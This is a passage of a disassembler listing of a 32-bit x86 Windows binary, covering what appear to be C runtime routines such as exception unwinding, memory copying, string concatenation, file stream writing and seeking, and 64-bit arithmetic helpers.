mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4225B6
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41D4BF
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41D2AC
; ---------------------------------------------------------------------------
loc_41D4BF: ; CODE XREF: sub_41D45E+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41D4CE: ; CODE XREF: sub_41D45E+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D45E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D4D3 proc near ; CODE XREF: sub_422651+C6p
; sub_4227F8+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41D52A
loc_41D4F1: ; CODE XREF: sub_41D4D3+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41D4FB
call sub_422E52
loc_41D4FB: ; CODE XREF: sub_41D4D3+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_41D510
cmp ecx, [eax+8]
jle short loc_41D515
loc_41D510: ; CODE XREF: sub_41D4D3+36j
cmp esi, 0FFFFFFFFh
jnz short loc_41D521
loc_41D515: ; CODE XREF: sub_41D4D3+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_41D521: ; CODE XREF: sub_41D4D3+40j
cmp [ebp+arg_4], 0
jge short loc_41D4F1
mov eax, [ebp+var_4]
loc_41D52A: ; CODE XREF: sub_41D4D3+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41D53E
cmp esi, eax
jbe short loc_41D543
loc_41D53E: ; CODE XREF: sub_41D4D3+65j
call sub_422E52
loc_41D543: ; CODE XREF: sub_41D4D3+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_41D4D3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41D550 proc near ; CODE XREF: sub_423CC0+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset sub_41D568
push [ebp+arg_0]
call sub_426356
sub_41D550 endp
; =============== S U B R O U T I N E =======================================
sub_41D568 proc near ; DATA XREF: sub_41D550+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D568 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D570 proc near ; DATA XREF: sub_41D592+Ao
; sub_41D5FA+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41D591
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41D591: ; CODE XREF: sub_41D570+10j
retn
sub_41D570 endp
; =============== S U B R O U T I N E =======================================
sub_41D592 proc near ; CODE XREF: sub_422AD2+Dp
; sub_423CC0+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41D570
push large dword ptr fs:0
mov large fs:0, esp
loc_41D5AF: ; CODE XREF: sub_41D592:loc_41D5EAj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41D5EC
cmp esi, [esp+1Ch+arg_4]
jz short loc_41D5EC
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41D5EA
push 101h
mov eax, [ebx+esi*4+8]
call sub_41D626
call dword ptr [ebx+esi*4+8]
loc_41D5EA: ; CODE XREF: sub_41D592+44j
jmp short loc_41D5AF
; ---------------------------------------------------------------------------
loc_41D5EC: ; CODE XREF: sub_41D592+2Aj
; sub_41D592+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41D592 endp
; =============== S U B R O U T I N E =======================================
sub_41D5FA proc near ; CODE XREF: sub_422AF2+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41D570
jnz short locret_41D61C
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41D61C
mov eax, 1
locret_41D61C: ; CODE XREF: sub_41D5FA+10j
; sub_41D5FA+1Bj
retn
sub_41D5FA endp
; =============== S U B R O U T I N E =======================================
sub_41D61D proc near ; CODE XREF: sub_422DB0+1Ep
; sub_422DB0+40p
push ebx
push ecx
mov ebx, offset dword_43AE2C
jmp short loc_41D630
sub_41D61D endp
; =============== S U B R O U T I N E =======================================
sub_41D626 proc near ; CODE XREF: sub_41D592+4Fp
; sub_423CC0+78p
push ebx
push ecx
mov ebx, offset dword_43AE2C
mov ecx, [ebp+8]
loc_41D630: ; CODE XREF: sub_41D61D+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41D626 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D640 proc near ; CODE XREF: sub_40D340+5p
; sub_40D4E2+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41D640 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D65F proc near ; CODE XREF: sub_40D977+26p
; ___:004260F2p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41BA91
pop ecx
retn
sub_41D65F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D670 proc near ; CODE XREF: sub_40D9E8+3Ap
; sub_41E742+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41D690
cmp edi, eax
jb loc_41D808
loc_41D690: ; CODE XREF: sub_41D670+16j
test edi, 3
jnz short loc_41D6AC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
loc_41D6AC: ; CODE XREF: sub_41D670+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41D6C4
and eax, 3
add ecx, eax
jmp dword ptr loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D6C4: ; CODE XREF: sub_41D670+46j
jmp dword ptr loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D6CC: ; CODE XREF: sub_41D670+31j
; sub_41D670+8Ej ...
jmp off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D6E0
dd offset loc_41D70C
dd offset loc_41D730
; ---------------------------------------------------------------------------
loc_41D6E0: ; DATA XREF: sub_41D670+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D70C: ; DATA XREF: sub_41D670+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D730: ; DATA XREF: sub_41D670+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D74C dd offset loc_41D7AF ; DATA XREF: sub_41D670:loc_41D6CCr
dd offset loc_41D79C
dd offset loc_41D794
dd offset loc_41D78C
dd offset loc_41D784
dd offset loc_41D77C
dd offset loc_41D774
dd offset loc_41D76C
; ---------------------------------------------------------------------------
loc_41D76C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41D774: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41D77C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41D784: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41D78C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41D794: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41D79C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D7AF: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670:off_41D74Co
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D7B8 dd offset loc_41D7C8 ; DATA XREF: sub_41D670+35r
; sub_41D670+92r ...
dd offset loc_41D7D0
dd offset loc_41D7DC
dd offset loc_41D7F0
; ---------------------------------------------------------------------------
loc_41D7C8: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D7D0: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D7DC: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D7F0: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D808: ; CODE XREF: sub_41D670+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41D83C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D830: ; CODE XREF: sub_41D670+1B1j
; sub_41D670+208j ...
neg ecx
jmp off_41D900[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D83C: ; CODE XREF: sub_41D670+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41D854
and eax, 3
sub ecx, eax
jmp dword ptr loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D854: ; CODE XREF: sub_41D670+1D6j
; DATA XREF: sub_41D670+1DDr
jmp off_41D950[ecx*4]
; ---------------------------------------------------------------------------
align 4
push 880041D8h
fadd dword ptr [ecx+0]
mov al, 0D8h
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D904
dd offset loc_41D90C
dd offset loc_41D914
dd offset loc_41D91C
dd offset loc_41D924
dd offset loc_41D92C
dd offset loc_41D934
off_41D900 dd offset loc_41D947 ; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------
loc_41D904: ; DATA XREF: sub_41D670+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41D90C: ; DATA XREF: sub_41D670+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41D914: ; DATA XREF: sub_41D670+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41D91C: ; DATA XREF: sub_41D670+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41D924: ; DATA XREF: sub_41D670+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41D92C: ; DATA XREF: sub_41D670+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41D934: ; DATA XREF: sub_41D670+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D947: ; CODE XREF: sub_41D670+1C2j
; DATA XREF: sub_41D670:off_41D900o
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D950 dd offset loc_41D960 ; DATA XREF: sub_41D670+1B7r
; sub_41D670:loc_41D854r ...
dd offset loc_41D968
dd offset loc_41D978
dd offset loc_41D98C
; ---------------------------------------------------------------------------
loc_41D960: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D968: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D978: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D98C: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41D670 endp
; =============== S U B R O U T I N E =======================================
sub_41D9A5 proc near ; CODE XREF: sub_40DA4F+34p
; sub_40DA4F+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41BEC7
pop ecx
pop ecx
retn
sub_41D9A5 endp
; =============== S U B R O U T I N E =======================================
sub_41D9B3 proc near ; CODE XREF: sub_41DA20+4p
arg_0 = dword ptr 4
push esi
push dword_4DD39C
call sub_422EA8
mov edx, dword_4DD39C
pop ecx
mov ecx, dword_4DD398
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_41DA12
push edx
call sub_422EA8
add eax, 10h
push eax
push dword_4DD39C
call sub_41BBE2
add esp, 0Ch
test eax, eax
jnz short loc_41D9F5
retn
; ---------------------------------------------------------------------------
loc_41D9F5: ; CODE XREF: sub_41D9B3+3Fj
mov ecx, dword_4DD398
sub ecx, dword_4DD39C
mov dword_4DD39C, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_4DD398, ecx
loc_41DA12: ; CODE XREF: sub_41D9B3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_4DD398, 4
retn
sub_41D9B3 endp
; =============== S U B R O U T I N E =======================================
sub_41DA20 proc near ; CODE XREF: sub_40DB3C+1Ap
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41D9B3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_41DA20 endp
; =============== S U B R O U T I N E =======================================
sub_41DA32 proc near ; DATA XREF: ___:00429018o
push 80h
call sub_41BEB5
test eax, eax
pop ecx
mov dword_4DD39C, eax
jnz short loc_41DA53
push 18h
call sub_41E2C9
mov eax, dword_4DD39C
pop ecx
loc_41DA53: ; CODE XREF: sub_41DA32+12j
and dword ptr [eax], 0
mov eax, dword_4DD39C
mov dword_4DD398, eax
retn
sub_41DA32 endp
; =============== S U B R O U T I N E =======================================
sub_41DA61 proc near ; CODE XREF: sub_40DB5E+7Ap
; sub_40DB5E+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_41DA75
loc_41DA6D: ; CODE XREF: sub_41DA61+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_41DA6D
loc_41DA75: ; CODE XREF: sub_41DA61+Aj
mov edx, [esp+arg_4]
push esi
loc_41DA7A: ; CODE XREF: sub_41DA61+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_41DA7A
pop esi
retn
sub_41DA61 endp
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41DB07
mov edi, [esp+14h]
test edi, edi
jz short loc_41DAAA
cmp edi, 1
jz short loc_41DAAA
cmp edi, 2
jnz short loc_41DB07
loc_41DAAA: ; CODE XREF: ___:0041DA9Ej
; ___:0041DAA3j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_41DAC1
push esi
call sub_422FA3
add [esp+14h], eax
pop ecx
xor edi, edi
loc_41DAC1: ; CODE XREF: ___:0041DAB2j
push esi
call sub_41E42B
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_41DAD6
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41DAEA
; ---------------------------------------------------------------------------
loc_41DAD6: ; CODE XREF: ___:0041DACDj
test al, 1
jz short loc_41DAEA
test al, 8
jz short loc_41DAEA
test ah, 4
jnz short loc_41DAEA
mov dword ptr [esi+18h], 200h
loc_41DAEA: ; CODE XREF: ___:0041DAD4j
; ___:0041DAD8j ...
push edi
push dword ptr [esp+14h]
push dword ptr [esi+10h]
call sub_422F09
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_41DB14
; ---------------------------------------------------------------------------
loc_41DB07: ; CODE XREF: ___:0041DA96j
; ___:0041DAA8j
mov dword_4DBDDC, 16h
or eax, 0FFFFFFFFh
loc_41DB14: ; CODE XREF: ___:0041DB05j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DB20 proc near ; CODE XREF: sub_413694+19Ep
; sub_4143F7+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41DB39
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41DB39: ; CODE XREF: sub_41DB20+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41DB20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB54 proc near ; CODE XREF: ___:0041668Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_41DB78
xor eax, eax
jmp loc_41DC45
; ---------------------------------------------------------------------------
loc_41DB78: ; CODE XREF: sub_41DB54+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41DB8B
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41DB92
; ---------------------------------------------------------------------------
loc_41DB8B: ; CODE XREF: sub_41DB54+2Dj
mov [ebp+arg_C], 1000h
loc_41DB92: ; CODE XREF: sub_41DB54+35j
; sub_41DB54+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41DBC6
mov eax, [esi+4]
test eax, eax
jz short loc_41DBC6
cmp ebx, eax
mov edi, ebx
jb short loc_41DBAC
mov edi, eax
loc_41DBAC: ; CODE XREF: sub_41DB54+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_41CD20
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_41DC0C
; ---------------------------------------------------------------------------
loc_41DBC6: ; CODE XREF: sub_41DB54+47j
; sub_41DB54+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41DC11
test ecx, ecx
jz short loc_41DBDA
push esi
call sub_41E42B
test eax, eax
pop ecx
jnz short loc_41DC53
loc_41DBDA: ; CODE XREF: sub_41DB54+79j
cmp [ebp+arg_C], 0
jz short loc_41DBED
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41DBEF
; ---------------------------------------------------------------------------
loc_41DBED: ; CODE XREF: sub_41DB54+8Aj
mov edi, ebx
loc_41DBEF: ; CODE XREF: sub_41DB54+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_4230FB
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41DC4A
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_41DC4A
loc_41DC0C: ; CODE XREF: sub_41DB54+70j
mov edi, [ebp+var_4]
jmp short loc_41DC3A
; ---------------------------------------------------------------------------
loc_41DC11: ; CODE XREF: sub_41DB54+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41FE2A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DC53
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_41DC3A
mov [ebp+arg_C], 1
loc_41DC3A: ; CODE XREF: sub_41DB54+BBj
; sub_41DB54+DDj
test ebx, ebx
jnz loc_41DB92
mov eax, [ebp+arg_8]
loc_41DC45: ; CODE XREF: sub_41DB54+1Fj
; sub_41DB54+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41DC4A: ; CODE XREF: sub_41DB54+ADj
; sub_41DB54+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_41DC55
; ---------------------------------------------------------------------------
loc_41DC53: ; CODE XREF: sub_41DB54+84j
; sub_41DB54+CFj
mov eax, edi
loc_41DC55: ; CODE XREF: sub_41DB54+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41DC45
sub_41DB54 endp
; =============== S U B R O U T I N E =======================================
sub_41DC5E proc near ; CODE XREF: sub_416CAF+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
nop
call near ptr 26D0477h
cmp eax, 0FFFFFFFFh
jnz short loc_41DC7E
nop
call near ptr 26C0CC8h
push eax
call sub_420C7F
pop ecx
loc_41DC7A: ; CODE XREF: sub_41DC5E+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41DC7E: ; CODE XREF: sub_41DC5E+Dj
test al, 1
jz short loc_41DC9F
test [esp+arg_4], 2
jz short loc_41DC9F
mov dword_4DBDDC, 0Dh
mov dword_4DBDE0, 5
jmp short loc_41DC7A
; ---------------------------------------------------------------------------
loc_41DC9F: ; CODE XREF: sub_41DC5E+22j
; sub_41DC5E+29j
xor eax, eax
retn
sub_41DC5E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DCB0 proc near ; CODE XREF: sub_416CC9+3Fp
; sub_41AED9+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41DCD2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DD13
; ---------------------------------------------------------------------------
loc_41DCD2: ; CODE XREF: sub_41DCB0+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41DCE0: ; CODE XREF: sub_41DCB0+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DCE0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41DD0E
cmp edx, [esp+8+arg_4]
ja short loc_41DD0E
jb short loc_41DD0F
cmp eax, [esp+8+arg_0]
jbe short loc_41DD0F
loc_41DD0E: ; CODE XREF: sub_41DCB0+4Ej
; sub_41DCB0+54j
dec esi
loc_41DD0F: ; CODE XREF: sub_41DCB0+56j
; sub_41DCB0+5Cj
xor edx, edx
mov eax, esi
loc_41DD13: ; CODE XREF: sub_41DCB0+20j
pop esi
pop ebx
retn 10h
sub_41DCB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DD20 proc near ; CODE XREF: sub_416CC9+2Dp
; sub_41AED9+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41DD41
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41DD91
; ---------------------------------------------------------------------------
loc_41DD41: ; CODE XREF: sub_41DD20+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41DD4F: ; CODE XREF: sub_41DD20+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DD4F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41DD7A
cmp edx, [esp+4+arg_4]
ja short loc_41DD7A
jb short loc_41DD82
cmp eax, [esp+4+arg_0]
jbe short loc_41DD82
loc_41DD7A: ; CODE XREF: sub_41DD20+4Aj
; sub_41DD20+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41DD82: ; CODE XREF: sub_41DD20+52j
; sub_41DD20+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41DD91: ; CODE XREF: sub_41DD20+1Fj
pop ebx
retn 10h
sub_41DD20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DDA0 proc near ; CODE XREF: sub_416DD9+5Fp
; sub_416DD9+92p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
